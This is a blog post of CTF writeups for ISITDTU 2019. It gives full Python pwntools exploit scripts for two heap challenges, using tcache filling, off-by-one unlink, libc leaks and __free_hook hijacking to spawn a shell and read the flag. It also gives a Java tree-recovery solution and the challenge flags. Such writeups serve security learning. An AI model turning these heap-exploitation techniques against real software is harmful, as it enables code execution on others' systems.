Ex
A rookie pwner
FRIENDS
friendC

ISITDTU CTF 2019 writeups

2019-06-30 writeups ISITDTU
Word count: 1.8k | Reading time: 10min

It is not a very difficult international CTF, but the server of the game is really disappointed. The quality of chanllenges is no bad, but the experience is not too good.

PWN

iz_heap_lv1

vulnerability

the length of qword_602060 is 20, but we can use the twenty-first ptr, so we can directly control name ptr.

1
2
3
4
.bss:0000000000602060 qword_602060    dq 20 dup(?)            ; DATA XREF: Add+21↑o
.bss:0000000000602060 ; Add+B5↑o ...
.bss:0000000000602100 ; char name[256]
.bss:0000000000602100 name db 100h dup(?) ; DATA XREF: sub_400CDF+1A↑o

exploit

  1. Fill up tcache, leak libc base address.
  2. hijack hook.

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './iz_heap_lv1'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('165.22.110.249', 3333)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so'

# Create temporary files for GDB debugging
try:
gdbscript = '''

'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def Edit(index, size, data):
sh.sendlineafter('Choice: \n', '2')
sh.sendlineafter('Enter index: ', str(index))
sh.sendlineafter('Enter size: ', str(size))
sh.sendafter('Enter data: ', data)

def Show(name):
sh.sendlineafter('Choice: \n', '4')
if(name):
sh.sendlineafter('DO you want to edit: (Y/N)', 'Y')
sh.sendafter('Input name: ', name)
else:
sh.sendlineafter('DO you want to edit: (Y/N)', 'N')


name_addr = 0x602100

sh.sendafter('Input name: ', p64(0))

Edit(0, 0x18, '\n')

layout = [
p64(name_addr + 0x20), p64(0),
p64(0), p64(0x91),
'\0' * 0x80,
p64(0), p64(0x21), p64(0), p64(0),
p64(0), p64(0x21), p64(0), p64(0),
]

for i in range(8):
Show(flat(layout))
Edit(20, 0x28, '\n')

Show('b' * 0x28)
sh.recvuntil('b' * 0x28)
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 0xe0
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - 0x3ebc40
log.success('libc_addr: ' + hex(libc_addr))

layout = [
p64(name_addr + 0x20), p64(0),
p64(0), p64(0x21), p64(0), p64(0),
p64(0), p64(0x21), p64(0), p64(0),
]

Edit(1, 0x58, '\n')

Show(flat(layout))
Edit(20, 0x28, '\n')

Show('b' * 0x20 + p64(libc_addr + libc.symbols['__free_hook']))
Edit(2, 0x18, '/bin/sh\0')
Edit(3, 0x18, p64(libc_addr + libc.symbols['system']))

sh.sendlineafter('Choice: \n', '2')
sh.sendlineafter('Enter index: ', str(2))

sh.sendline('cat /home/iz_heap_lv1/flag')

sh.interactive()
clear()

# ISITDTU{d800dab9684113a5d6c7d2c0381b48c1553068bc}

iz_heap_lv2

vulnerability

read_n_off_by_one function has off by one vulnerability。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
.text:000000000040091E read_n_off_by_one proc near             ; CODE XREF: get_int+28↑p
.text:000000000040091E ; Add+A6↓p ...
.text:000000000040091E
.text:000000000040091E var_C = dword ptr -0Ch
.text:000000000040091E buf = qword ptr -8
.text:000000000040091E
.text:000000000040091E ; __unwind {
.text:000000000040091E push rbp
.text:000000000040091F mov rbp, rsp
.text:0000000000400922 sub rsp, 10h
.text:0000000000400926 mov [rbp+buf], rdi
.text:000000000040092A mov [rbp+var_C], esi
.text:000000000040092D mov eax, [rbp+var_C]
.text:0000000000400930 movsxd rdx, eax ; nbytes
.text:0000000000400933 mov rax, [rbp+buf]
.text:0000000000400937 mov rsi, rax ; buf
.text:000000000040093A mov edi, 0 ; fd
.text:000000000040093F call _read
.text:0000000000400944 cmp [rbp+var_C], 0
.text:0000000000400948 jz short loc_40095A
.text:000000000040094A mov eax, [rbp+var_C]
.text:000000000040094D movsxd rdx, eax
.text:0000000000400950 mov rax, [rbp+buf]
.text:0000000000400954 add rax, rdx
.text:0000000000400957 mov byte ptr [rax], 0
.text:000000000040095A
.text:000000000040095A loc_40095A: ; CODE XREF: read_n_off_by_one+2A↑j
.text:000000000040095A nop
.text:000000000040095B leave
.text:000000000040095C retn
.text:000000000040095C ; } // starts at 40091E

思路

  1. unlink
  2. leak the information of got.puts then calculate the libc base address.
  3. hijack hook.

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './iz_heap_lv2'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('165.22.110.249', 4444)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')

# Create temporary files for GDB debugging
try:
gdbscript = '''

'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def Add(size, data):
sh.sendlineafter('Choice: \n', '1')
sh.sendlineafter('Enter size: ', str(size))
sh.sendafter('Enter data: ', data)

def Edit(index, data):
sh.sendlineafter('Choice: \n', '2')
sh.sendlineafter('Enter index: ', str(index))
sh.sendafter('Enter data: ', data)

def Delete(index):
sh.sendlineafter('Choice: \n', '3')
sh.sendlineafter('Enter index: ', str(index))

def Show(index):
sh.sendlineafter('Choice: \n', '4')
sh.sendlineafter('Enter index: ', str(index))

ptr_addr = 0x602040

Add(0x20, '\n')
Add(0x20, '\n')

for i in range(8):
Add(0xf0, '\n')

for i in range(3, 3 + 7):
Delete(i)

Delete(1)
Add(0x28, p64(0) + p64(0x21) + p64(ptr_addr + 8 - 0x18) + p64(ptr_addr + 8 - 0x10) + p64(0x20))
Delete(2)

Edit(1, 'a' * 0x10 + p64(elf.got['puts']))
Show(0)

sh.recvuntil('Data: ')
result = sh.recvline()[:-1]
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc_addr))

Edit(1, 'a' * 0x10 + p64(libc_addr + libc.symbols['__free_hook']))
Edit(0, p64(libc_addr + libc.symbols['system']))

Add(0xf0, '/bin/sh\0')

Delete(2)

sh.sendline('cat /home/iz_heap_lv2/flag')

sh.interactive()
clear()

# ISITDTU{TcAch3_C4ch3_F1LL1Ng_UnL1NKKKKKK_1Z_h34P_LvTw0}

RE

Recovery

Use Inorder Traversal and Postorder Traversal to recover Preorder Traversal, a simple algorithmic problem.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import java.util.Arrays;

public class Main {
public static void main(String[] args) {
int[] inOrder = { 9, 11, 33, 35, 38, 40, 44, 48, 61, 85, 89, 101, 106, 110, 135, 150, 159, 180, 188, 200, 201, 214, 241, 253, 268, 269, 275, 278, 285, 301, 301, 327, 356, 358, 363, 381, 396, 399, 413, 428, 434, 445, 449, 462, 471, 476, 481, 492, 496, 497, 509, 520, 526, 534, 540, 589, 599, 613, 621, 621+1, 623, 628, 634, 650, 652, 653, 658, 665, 679, 691, 708, 711, 716, 722, 752, 756, 764, 771, 773, 786, 807, 808, 826, 827, 836, 842, 856, 867, 875, 877, 879, 889, 892, 922, 946, 951, 965, 980, 993, 996 };
int[] postOrder = { 35, 33, 44, 40, 38, 48, 11, 85, 89, 61, 110, 150, 159, 135, 188, 200, 180, 106, 101, 214, 268, 275, 269, 253, 241, 201, 9, 301, 301, 285, 327, 356, 363, 396, 413, 399, 445, 434, 462, 449, 428, 471, 481, 492, 496, 497, 476, 381, 358, 278, 534, 526, 520, 613, 599, 623, 621+1, 621, 589, 540, 628, 650, 653, 652, 665, 691, 679, 711, 756, 752, 722, 716, 807, 786, 773, 771, 826, 808, 827, 764, 856, 875, 867, 842, 836, 708, 879, 892, 889, 922, 877, 951, 946, 658, 980, 996, 993, 965, 634, 509 };
Node result = recover(inOrder, postOrder);
preOrder(result);
System.out.println("over");
}

public static Node recover(int[] inOrder, int[] postOrder){
if(inOrder.length == 1 || postOrder.length == 1) {
Node nowNode = new Node(postOrder[0]);
nowNode.left = null;
nowNode.right = null;
return nowNode;
}else if(inOrder.length == 0 || postOrder.length == 0) {
return null;
}
Node nowNode = new Node(postOrder[postOrder.length - 1]);

int position = -1;
for (int i = 0; i < inOrder.length; i++){
if(nowNode.data == inOrder[i]){
position = i;
}
}
nowNode.left = recover(Arrays.copyOfRange(inOrder, 0, position), Arrays.copyOfRange(postOrder, 0, position));
nowNode.right = recover(Arrays.copyOfRange(inOrder, position + 1, inOrder.length), Arrays.copyOfRange(postOrder, position, postOrder.length - 1));

return nowNode;
}

public static void preOrder(Node n) {
if(n == null) {
return ;
}
System.out.print(" " + n.data);
preOrder(n.left);
preOrder(n.right);
}
}

class Node
{
int data;
Node left;
Node right;

public Node(final int data) {
this.data = data;
this.left = null;
this.right = null;
}
}

We can get the answer by recovering the sorted binary tree.

1
2
3
509, 278, 9, 201, 101, 61, 11, 48, 38, 33, 35, 40, 44, 89, 85, 106, 180, 135, 110, 159, 150, 200, 188, 241, 214, 253, 269, 268, 275, 358, 356, 327, 285, 301, 301, 381, 363, 476, 471, 428, 399, 396, 413, 449, 434, 445, 462, 497, 496, 492, 481, 634, 628, 540, 520, 526, 534, 589, 621, 599, 613, 621, 623, 965, 658, 652, 650, 653, 946, 877, 708, 679, 665, 691, 836, 764, 716, 711, 722, 752, 756, 827, 808, 771, 773, 786, 807, 826, 842, 867, 856, 875, 922, 889, 879, 892, 951, 993, 980, 996

FLAG: ISITDTU{509, 278, 9, 201, 101, 61, 11, 48, 38, 33, 35, 40, 44, 89, 85, 106, 180, 135, 110, 159, 150, 200, 188, 241, 214, 253, 269, 268, 275, 358, 356, 327, 285, 301, 301, 381, 363, 476, 471, 428, 399, 396, 413, 449, 434, 445, 462, 497, 496, 492, 481, 634, 628, 540, 520, 526, 534, 589, 621, 599, 613, 621, 623, 965, 658, 652, 650, 653, 946, 877, 708, 679, 665, 691, 836, 764, 716, 711, 722, 752, 756, 827, 808, 771, 773, 786, 807, 826, 842, 867, 856, 875, 922, 889, 879, 892, 951, 993, 980, 996}

Author: Ex

Link: https://ex-origin.github.io/2019/07/01/ISITDTU-CTF-2019-writeups/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
De1CTF2019
CATALOG
  1. 1. PWN
    1. 1.1. iz_heap_lv1
      1. 1.1.1. vulnerability
      2. 1.1.2. exploit
      3. 1.1.3. script
    2. 1.2. iz_heap_lv2
      1. 1.2.1. vulnerability
      2. 1.2.2. 思路
      3. 1.2.3. script
  2. 2. RE
    1. 2.1. Recovery